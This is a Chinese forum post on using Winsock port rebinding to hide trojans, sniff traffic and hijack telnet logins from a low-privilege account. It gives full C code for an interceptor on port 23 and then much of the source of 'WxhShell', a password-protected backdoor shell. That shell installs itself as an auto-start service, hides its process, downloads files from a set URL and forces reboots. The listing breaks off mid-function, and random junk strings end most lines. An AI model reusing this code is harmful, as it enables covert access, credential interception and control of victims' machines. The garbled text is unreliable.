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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >!%+9@a}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S(/ ^_Y  
Tp.:2[  
  saddr.sin_family = AF_INET; )l.AsfW%  
ia,5=SKJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O8Z+g{  
D5:|CMQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H?,Dv>.#*  
14A(ZWwq9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,/kZt!  
g~U<0+&yw%  
  这意味着什么?意味着可以进行如下的攻击: KpDb%j  
Qg0%r bE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (" +clb`  
{,1>(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2vhP'?;K  
HD3WsIim*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z!*6;[]SfG  
H[}lzL)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ouO9%)zv  
KT+{-"4-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0/1=2E ^,  
d c/^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RJKi98xwJ  
` TH\0/eE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R~eLEjezm  
A~X\ dcn  
  #include =yoR>llbBC  
  #include `P <#kt  
  #include IusZYB  
  #include    "zkQu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YV} "#  
  int main() EPR85[k  
  { Q [C26U  
  WORD wVersionRequested; $$EEhy  
  DWORD ret; |'I>Ojm  
  WSADATA wsaData; KW3<5+w]c  
  BOOL val; KP 6vb@(6  
  SOCKADDR_IN saddr; O#p_rfQ  
  SOCKADDR_IN scaddr; 5<Uh2c  
  int err; W*Ow%$%2  
  SOCKET s; %I{>H%CjE  
  SOCKET sc; QcJC:sP\>  
  int caddsize; C%{2 sMJz  
  HANDLE mt; Y[_|sIy*  
  DWORD tid;   W*DK pJy  
  wVersionRequested = MAKEWORD( 2, 2 ); 4O.R=c2}7>  
  err = WSAStartup( wVersionRequested, &wsaData ); PgA1:i&'  
  if ( err != 0 ) { Vw.)T/B_D  
  printf("error!WSAStartup failed!\n"); G B"Orm.  
  return -1;  \m+=|  
  } 2 |JEGyDS-  
  saddr.sin_family = AF_INET; EUVD)+it  
   :U/]*0b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !YI<A\P  
o!U(=:*b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UFu0{rY_  
  saddr.sin_port = htons(23); r=SC bv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 W|'~r  
  { !^s -~`'\~  
  printf("error!socket failed!\n"); cP\z*\dS  
  return -1; !Q5,Zhgr  
  } ew~?&=  
  val = TRUE; U@CAQ?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B}.:7,/0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nK)1.KVN  
  { TU58  
  printf("error!setsockopt failed!\n"); gK@`0/k{  
  return -1; !3\$XK]5ZT  
  } ;yyR_N S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +\;Ro18?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t_*x.{x-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {QaO\{J=  
e+F $fQt>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [\Nmm4  
  { .tppCy  
  ret=GetLastError(); _}ii1fLv  
  printf("error!bind failed!\n"); *po o.Zz  
  return -1; VH<d[Mj  
  } WPAUY<6f  
  listen(s,2); !M`.(sO]  
  while(1) kPiY|EH  
  { 5S_fvW;  
  caddsize = sizeof(scaddr); ]$ Nhy8-  
  //接受连接请求 w!v^6[!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NZa 7[}H  
  if(sc!=INVALID_SOCKET) %{pjC7j#  
  { fA]sPh4Uag  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 023uAaI^3r  
  if(mt==NULL) Bha("kG  
  { H V-;? 5  
  printf("Thread Creat Failed!\n"); I8% -ii  
  break; z wRF-{s  
  } 1]5k l J  
  } %<+uJ'pj  
  CloseHandle(mt); '+ZJf&Ox  
  } g|->W]q@;  
  closesocket(s); @"A 5yD5  
  WSACleanup(); oU @!R  
  return 0; kB=B?V~#  
  }   k;`1Ia  
  DWORD WINAPI ClientThread(LPVOID lpParam) K*2s-,b *  
  { B!;:,(S~  
  SOCKET ss = (SOCKET)lpParam; n4M Xa()P1  
  SOCKET sc; nTGZ2C)c<'  
  unsigned char buf[4096]; Ha/Qz'^S;  
  SOCKADDR_IN saddr; l4.ql1BX@y  
  long num; [Gv8Fn/aG  
  DWORD val; ::'Y07  
  DWORD ret; >ov#\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =nc;~u|]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K(lSR  
  saddr.sin_family = AF_INET; 4c{j9mh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _&U#*g  
  saddr.sin_port = htons(23); ,H,[ )8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cYe2 a "  
  { C4d'z(<  
  printf("error!socket failed!\n"); m;hp1VO)  
  return -1; ` - P1Y  
  } :_:)S  
  val = 100; NqD Hrx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3**t'iWQ  
  { [7HBn  
  ret = GetLastError(); L(cKyg[R  
  return -1; Wa.xm_4s2  
  } ti6X=@ P:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L@=$0p41;  
  { "*j8G8  
  ret = GetLastError(); kZ)}tA7j  
  return -1; *QWOW g4w  
  } ,%N[FZ`|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =[!(s/+>L  
  { 7RBEEE`)  
  printf("error!socket connect failed!\n"); j$XaO%y)  
  closesocket(sc); D}X6I#U'/  
  closesocket(ss); _h  \L6.  
  return -1; + jeOZ  
  } <;W-!R759  
  while(1) i^iu #WC  
  { m%[/w wL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1L'Q;?&2H,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t2OBVzK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tJ6Q7 J;n  
  num = recv(ss,buf,4096,0); z80FMulO  
  if(num>0) `[#id@Z1  
  send(sc,buf,num,0); {~FPvmj&  
  else if(num==0) !03JA9lo  
  break; 7%? bl  
  num = recv(sc,buf,4096,0); s$fX ;  
  if(num>0) V>Z4gZp5sc  
  send(ss,buf,num,0); pU !:  
  else if(num==0) lN:;~;z_  
  break; v{ohrpb0v  
  } ~&RrlFh  
  closesocket(ss);  ^,ISz-4  
  closesocket(sc); rb4;@&  
  return 0 ; ;zo|. YD  
  } [pm IQ228  
0x5Ax=ut  
!1i-"rR  
========================================================== 5VOw}{Pt  
ercXw7{  
下边附上一个代码,,WXhSHELL T* 0;3&sA  
! M CV@5$  
========================================================== o/V T"cT  
o_mjI:  
#include "stdafx.h" Haktr2I  
=M*pym]QSY  
#include <stdio.h> RC1bTM  
#include <string.h> `|Di?4+6%  
#include <windows.h> GwP!:p|  
#include <winsock2.h> xxl|j$m  
#include <winsvc.h> 0?/gEr  
#include <urlmon.h> |,oLZC Na  
=:w,wI.  
#pragma comment (lib, "Ws2_32.lib") H,GjPIG  
#pragma comment (lib, "urlmon.lib") wn.6l `  
u*=^>LD  
#define MAX_USER   100 // 最大客户端连接数 e CN:  
#define BUF_SOCK   200 // sock buffer h~9P3 4m  
#define KEY_BUFF   255 // 输入 buffer )LKJfoo PY  
cf"&22TQ+Z  
#define REBOOT     0   // 重启 a$Ud"  
#define SHUTDOWN   1   // 关机 ?K:\WW  
0ElEaH1z  
#define DEF_PORT   5000 // 监听端口 yUo8-OaL7  
G93V=Bk=  
#define REG_LEN     16   // 注册表键长度 |T/OOIA=sI  
#define SVC_LEN     80   // NT服务名长度 a5 ZXrWv  
?uL-qsU  
// 从dll定义API x X3I`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q[NoFZ V!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ym\<@[3+!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !\1)?&y9j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jR[c3EA ;  
2>k*9kyp  
// wxhshell配置信息 25vjn 1$sW  
struct WSCFG { 98 5h]KQ  
  int ws_port;         // 监听端口 v.C  
  char ws_passstr[REG_LEN]; // 口令 RDHK'PGA  
  int ws_autoins;       // 安装标记, 1=yes 0=no H{5,  -x  
  char ws_regname[REG_LEN]; // 注册表键名 pA_u;*  
  char ws_svcname[REG_LEN]; // 服务名 ~? aFc)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gAztdA sLM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P,)D0i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ey[Z<i1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _wb]tE ~g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l#^?sbG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'R-\6;3E>9  
tR<#CCtRp'  
}; 0vSPeZ  
}1k?th  
// default Wxhshell configuration *Us}E7/"'  
struct WSCFG wscfg={DEF_PORT, +VW8{=$  
    "xuhuanlingzhe", ,T zlW\?\  
    1, 08^f|K  
    "Wxhshell", `!I/6d?A  
    "Wxhshell", rBQ<5.  
            "WxhShell Service", U@yhFj_y  
    "Wrsky Windows CmdShell Service", ~%h )G#N  
    "Please Input Your Password: ", VvP: }yJ  
  1, A. tGr(r  
  "http://www.wrsky.com/wxhshell.exe", }ixCbuD  
  "Wxhshell.exe" q#c+%,Z=C  
    }; U&R)a| 7R  
,ps?@lD  
// 消息定义模块 OZf@cOTWK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .EHq.cde  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2Ul8<${c{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EHf,VIC8  
char *msg_ws_ext="\n\rExit."; V~/@KU8cH  
char *msg_ws_end="\n\rQuit."; ~:Z|\a58j  
char *msg_ws_boot="\n\rReboot..."; NV/paoyx:*  
char *msg_ws_poff="\n\rShutdown..."; iOv>g-t:  
char *msg_ws_down="\n\rSave to "; _MIheCvV  
:'<;]~f  
char *msg_ws_err="\n\rErr!"; /P9fcNP{y  
char *msg_ws_ok="\n\rOK!"; Q~wS2f`)  
J`[jub  
char ExeFile[MAX_PATH]; 9QHj$)?k,  
int nUser = 0; yZp/P%y  
HANDLE handles[MAX_USER]; MLTS<pW/  
int OsIsNt; gS[B;+d  
GQYn |vm  
SERVICE_STATUS       serviceStatus; ]5a3e+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fP4P'eI  
`.~S/$a.&  
// 函数声明 P(@Q[XQ2  
int Install(void); N& F.hi$_  
int Uninstall(void); \ Qx%7 6  
int DownloadFile(char *sURL, SOCKET wsh); 1@'I eywg  
int Boot(int flag); {#?|&n<  
void HideProc(void); /t]1_  
int GetOsVer(void); =EYgck;)  
int Wxhshell(SOCKET wsl); Y{dX[^[  
void TalkWithClient(void *cs); 7n84`|=  
int CmdShell(SOCKET sock); 4,:I{P_>6B  
int StartFromService(void); Y&,}q_Z:  
int StartWxhshell(LPSTR lpCmdLine); L|#0CRiN  
.3_u5N|[=W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j ]%XY+e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a;; Es  
9\Ff z&  
// 数据结构和表定义 ~QUNR?h  
SERVICE_TABLE_ENTRY DispatchTable[] = 4*f+np  
{ L{IMZ+IB2|  
{wscfg.ws_svcname, NTServiceMain}, 6l4=  
{NULL, NULL}  ^ b5+A6?  
}; Io IhQ  
G^h:#T  
// 自我安装 g^|R;s{  
int Install(void) (m Yi  
{ *rxYal4ad  
  char svExeFile[MAX_PATH]; g.62XZF@  
  HKEY key; qk^/ &j  
  strcpy(svExeFile,ExeFile); fsEQ4xN'  
E6xdPjoWy  
// 如果是win9x系统,修改注册表设为自启动 p]y.N)a  
if(!OsIsNt) { SfY 5Xgp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 32aI0CT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _(:$ :*@  
  RegCloseKey(key); "R)n1,0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =#Jx~d[C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]57Ef'N  
  RegCloseKey(key); ~$^ >Vo  
  return 0; P$y'``  
    } aYk: CYQ  
  } &|'yqzS3  
} l\N2C4NG  
else { E%8uQ2p(  
qo \9,<  
// 如果是NT以上系统,安装为系统服务 l9j= ;h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s 8K.A~5 w  
if (schSCManager!=0) *(vh|  
{ [h B$%i]\<  
  SC_HANDLE schService = CreateService hop| xtai;  
  ( ]i,o+xBKH  
  schSCManager, @C=gMn.E  
  wscfg.ws_svcname, vAop#V  
  wscfg.ws_svcdisp, AH'3 5Kf)  
  SERVICE_ALL_ACCESS, 0x*|X@ 6\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o>+mw|{  
  SERVICE_AUTO_START, x{ `{j'  
  SERVICE_ERROR_NORMAL, 3]}RjOTU  
  svExeFile, M?('VOy)  
  NULL, Br<lP#u=G  
  NULL, :}#)ipr  
  NULL, iYYuZ.  
  NULL, a0A=R5_  
  NULL b$nev[`{6  
  ); SQ+r'g  
  if (schService!=0) $g VbeQ  
  { iC!6g|]X  
  CloseServiceHandle(schService); 'ks  .TS&  
  CloseServiceHandle(schSCManager); 6q`)%"4k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8n2;47 a  
  strcat(svExeFile,wscfg.ws_svcname); <f.Eog  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .dxELSV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {gu3KV  
  RegCloseKey(key); w9"~NK8xzM  
  return 0; ;{R;lF,  
    } jHHCJOHB8  
  } O+< +yQl  
  CloseServiceHandle(schSCManager); "8?Fl&=Q  
} Dz2Z (EXI~  
} eYkg4O'  
Pq{p\Qkj  
return 1; S{MB$JA  
} U %BtBPL  
PMbq5  
// 自我卸载 T <k;^iqR  
int Uninstall(void) D-i, C~W  
{ xf7YIhL^*  
  HKEY key; aYc<C$:NC"  
X+u1p?  
if(!OsIsNt) { %`]!atH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { };P=|t(r  
  RegDeleteValue(key,wscfg.ws_regname); rxy5Nrue  
  RegCloseKey(key); "dOQ)<;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <RC%<  
  RegDeleteValue(key,wscfg.ws_regname);  Q3bU"f  
  RegCloseKey(key); WL,2<[)Ew  
  return 0; (OwGp3g  
  } w<]-~`K  
} 'T qF}a7  
} >@?mP$;=  
else { *""W`x  
hz<TjWXv'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GCw4sb4~w  
if (schSCManager!=0) 0SIUp/.  
{ tGXH)=K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O/(vimx.#F  
  if (schService!=0) c`S+>:  
  { v,~f G>Y}  
  if(DeleteService(schService)!=0) { +`mI\+y,  
  CloseServiceHandle(schService); <rui\/4NJ  
  CloseServiceHandle(schSCManager); :w|=o9J  
  return 0; G^VOA4  
  } bF,.6iKI  
  CloseServiceHandle(schService); 't*]6^  
  } ?-9uf\2_  
  CloseServiceHandle(schSCManager); ;0?OBUDO  
} o >yXEg  
} MwQt/Qv=  
fiU#\%uJg  
return 1; *D[yA  
} %`lJAW[  
,-(D (J;}1  
// 从指定url下载文件 Ayn$,  
int DownloadFile(char *sURL, SOCKET wsh) NZ!I >  
{ {=gJGP/}_  
  HRESULT hr; ./'d^9{  
char seps[]= "/"; eMV8`&c'  
char *token; @y * TVy  
char *file; rHOhi|+  
char myURL[MAX_PATH]; `e3$jy@  
char myFILE[MAX_PATH]; JwWxM3(%t  
Y8lZ]IB  
strcpy(myURL,sURL); SH8zkAA7u}  
  token=strtok(myURL,seps); B#5[PX  
  while(token!=NULL) FK-q-PKO#.  
  { $XkO\6kh  
    file=token; gyh8  
  token=strtok(NULL,seps); V=1zk-XC  
  } jr#*;go  
E&@#*~   
GetCurrentDirectory(MAX_PATH,myFILE); <_=O0 t| 6  
strcat(myFILE, "\\"); c1y+k vv  
strcat(myFILE, file); x7i<dg&  
  send(wsh,myFILE,strlen(myFILE),0); BE~-0g$W  
send(wsh,"...",3,0); QSM3qke  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R(P(G;#j  
  if(hr==S_OK) 0sme0"Sl  
return 0; 9pS:#hg  
else Sx0{]1J  
return 1; @k'V`ZQF  
^f"|<r  
} kG}F/GN?  
Ux=B*m1@{  
// 系统电源模块 0mmHN`<  
int Boot(int flag) /<k 5"C% z  
{ %Kp^wf#o9  
  HANDLE hToken; :kwDa a  
  TOKEN_PRIVILEGES tkp; 1:@ScHS  
ke<5]&x  
  if(OsIsNt) { Lh.-*H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 15' fU!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9!Xp+<  
    tkp.PrivilegeCount = 1; Cp>y<C"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CW/L(RQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A9"!=/~  
if(flag==REBOOT) { =i Dd{$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cc}#-HKR[  
  return 0; 9zCuVUcd$.  
} 1 Qz@  
else { mV4gw'.;7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  P7/Xh3  
  return 0; E?BF8t_fTE  
} E:PPb9Kd  
  } OP-{76vE&b  
  else { \6"=`H0}  
if(flag==REBOOT) { +bJ~S:[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #,XZ@u+  
  return 0; a{rUk%x  
} J}#2Wy^{  
else { W5:fY>7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q 6>}  
  return 0; }?c%L8\  
} =]pEvj9o  
} =9 ^}>u  
QF*cdc<  
return 1; e#3RT8u#  
} Acd@BL*  
)ZrB-(u~k  
// win9x进程隐藏模块 p T z]8[^  
void HideProc(void) 8$ #z>  
{ qcQq.cS_'N  
U^U hZ!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $4)L~g|  
  if ( hKernel != NULL ) r=A A /n<  
  { hk S:_e=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UTN[! 0[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .P?n<n#  
    FreeLibrary(hKernel); 2Yd@ V}  
  } [cl+AV "  
9e vQQN6D|  
return; )N1iGJO)  
} v '^}zO  
Sl<1Rme=w  
// 获取操作系统版本 +/]*ChrS  
int GetOsVer(void) }#g+~9UK  
{ X-TGrdoX  
  OSVERSIONINFO winfo; +o"CMI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R(cg`8  
  GetVersionEx(&winfo); D.x8=|;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gNA!)}m\  
  return 1; unbIfl=  
  else p0]\QM l1  
  return 0; 9d(#/n  
} C+5X8  
3?L[ohKH?:  
// 客户端句柄模块 r ) _*MPY  
int Wxhshell(SOCKET wsl)  {d0-.  
{ 7y)Ar 8!D  
  SOCKET wsh; fk>{  
  struct sockaddr_in client; |3Oyg?2  
  DWORD myID; ;'08-Et  
yx:+Xy*N  
  while(nUser<MAX_USER) Y5;afU='  
{ w9O!L9 6  
  int nSize=sizeof(client); >gM"*Laa?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W|uRQA`  
  if(wsh==INVALID_SOCKET) return 1; u4m8^fj+ T  
YG8)`X qC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,tg(aL  
if(handles[nUser]==0) HJ0;BD.]  
  closesocket(wsh); !"Q%I#8uh  
else %.l={B,i  
  nUser++; *vEj\  
  } tns8B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NJ-Ji> w  
J2! Q09 }5  
  return 0; iXL^[/}&?M  
} >7~*j4g  
4 m"0R\  
// 关闭 socket zH9*w:"4<_  
void CloseIt(SOCKET wsh) .cw)Y#;IG  
{ M*Ej*#  
closesocket(wsh); "+wkruC  
nUser--; S?C.:  
ExitThread(0); / #rH18  
} h{$k%YJ?  
0( A  ?&  
// 客户端请求句柄 H{S+^'5Y.  
void TalkWithClient(void *cs) ]*lZFP~  
{ [6_.Y*}N  
 .P")S|  
  SOCKET wsh=(SOCKET)cs; Yh fQ pe  
  char pwd[SVC_LEN]; 4dLnX3 v  
  char cmd[KEY_BUFF]; q5'G]j{,Z  
char chr[1]; 37Q8Yf_  
int i,j; llWY7u"  
1EC;t1.7  
  while (nUser < MAX_USER) { -zqpjxU:  
\0_jmX]p  
if(wscfg.ws_passstr) { Tcc83_Iq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BnGoB`n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CmBgay  
  //ZeroMemory(pwd,KEY_BUFF); >P\eHR,{-  
      i=0; 1TR+p? "  
  while(i<SVC_LEN) { | B*B>P#  
Bmcc SC;o4  
  // 设置超时 : xggo  
  fd_set FdRead; "e8EA!Ipte  
  struct timeval TimeOut; qBh@^GxY),  
  FD_ZERO(&FdRead); oSkQ/5hg.  
  FD_SET(wsh,&FdRead); bR~(Ry`  
  TimeOut.tv_sec=8; r Dlu&  
  TimeOut.tv_usec=0; Nq8 3 6HL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u~Po5W/i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gW--[  
a7F_{Mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $;Iz7:#jN  
  pwd=chr[0]; I}0 ?d  
  if(chr[0]==0xd || chr[0]==0xa) { I2*(v%.-  
  pwd=0; _X;,,VEV!  
  break; ZeU){CB  
  } 5p S$rf  
  i++; pUF JQ*  
    } ' -Cx-=  
&ZkJ,-  
  // 如果是非法用户,关闭 socket lX"m |W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2y!aXk\#C  
} ^v cnDi  
GA[D@Wy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UI U:^g0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x$n.\`f0  
izaqEz  
while(1) { 3HYdb|y  
a3\~AO H%  
  ZeroMemory(cmd,KEY_BUFF); ,IqE<i!U  
!&g_hmnIF  
      // 自动支持客户端 telnet标准   3Wbd=^hRvq  
  j=0; &y=OZ !M  
  while(j<KEY_BUFF) { 3%1wQXr0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A46q`l9B  
  cmd[j]=chr[0]; jdu6P+_8n  
  if(chr[0]==0xa || chr[0]==0xd) { vo\'ycPv  
  cmd[j]=0;  R.HvqO  
  break; qCfEv4  
  } z _\L@b  
  j++; R+(f~ j'  
    } ?hc=w2Ci  
vfv?QjR  
  // 下载文件 ~/-SKGzo-  
  if(strstr(cmd,"http://")) { A^X\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ('C)S)98C  
  if(DownloadFile(cmd,wsh)) ecz-jZ! `  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wbKJ:eWgt  
  else [7gz?9VyLF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xW5`.^5  
  } Ao`e{  
  else { IE996   
Oy=0Hsh@x  
    switch(cmd[0]) { iJOG"gI&  
  \i//Aq  
  // 帮助 8w:mL^6x  
  case '?': { __QnzEF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6V1oZ-:}  
    break; | |pOiR5  
  } OEjX(F3=  
  // 安装 #@`c7SR  
  case 'i': { wZ\93W-}  
    if(Install()) X;6;v]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #xu1 eX0<  
    else =0Y0o_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \:1$E[3v  
    break; sfw* _}y  
    } x,10o   
  // 卸载 3MHpP5C  
  case 'r': { p19(>|$J  
    if(Uninstall()) R$ +RTG:E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ojf6@p_  
    else <5pNFj}0;X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tr:@Dv.O  
    break; *v K~t|z  
    } a BMV6'  
  // 显示 wxhshell 所在路径 S$fS|N3]%  
  case 'p': { e4Y+u8gT  
    char svExeFile[MAX_PATH]; =UK:83R(  
    strcpy(svExeFile,"\n\r"); E2w-b^,5  
      strcat(svExeFile,ExeFile); '*rS, y  
        send(wsh,svExeFile,strlen(svExeFile),0); K g#Bg##  
    break; Aqf91 [c  
    } _$@fCo0  
  // 重启 ineSo8| @  
  case 'b': { Y_ne?/sZE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t!/~_}eDJ  
    if(Boot(REBOOT)) kjV>\e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VgYy7\?p  
    else { {[Ri:^nHgL  
    closesocket(wsh); T?!SEblP]  
    ExitThread(0); "'Fvt-<^S7  
    } IO8 @u;&  
    break; %u&Vt"6m=  
    } tyW[i8)O}  
  // 关机 h'h8Mm  
  case 'd': { _oBx:G6E  
